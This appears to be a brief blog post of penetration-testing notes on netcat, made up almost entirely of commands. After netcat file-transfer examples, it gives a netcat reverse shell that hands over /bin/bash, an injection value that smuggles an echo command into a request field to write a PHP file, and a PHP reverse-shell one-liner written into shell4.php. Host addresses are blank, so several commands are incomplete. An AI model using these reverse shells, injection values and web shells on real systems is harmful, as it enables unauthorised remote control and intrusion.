Sending a File from one machine to another with NETCAT seems back to to front.
Seems odd that the sender machine would be listening. whereby listening would imply waiting and not sending..

In Linux
##Sender Machine nc -v -w 40 -p 443 -l < file.php
###Receiver Machine nc -v -w 10 443 > file.php

Sending from Linux to Windows

We first setup a Listener and tell netcat that any incoming file should be directed to a file name of our choice, regardless to what the file is.

##Sender Machine nc -nv 4444 < /usr/bin/wget.exe

##Receiver Machine nc -nlvp 40 > incomingfile.exe

Sending a Reverse Shell - This is when the sebding machine gives control of their system to the receiver.

nc -nv 443 -e /bin/bash

###Receiver Machine
nc -nlvp 443

Side Note:
If you cant create reverse or bind shells the try to create a file.
Using this logic we ca try to make a file with the php information of the system (phpinfo)
Something similar to this:;echo "<?php phpinfo() ?>" > a.php;&pdf=make

If we can make files then we can try a simple php shell - remember to escape the "$"

echo "\$sock=fsockopen('',4444);exec('/bin/sh -i <&3 >&3 2>&3');" > shell4.php

No comments:

Post a Comment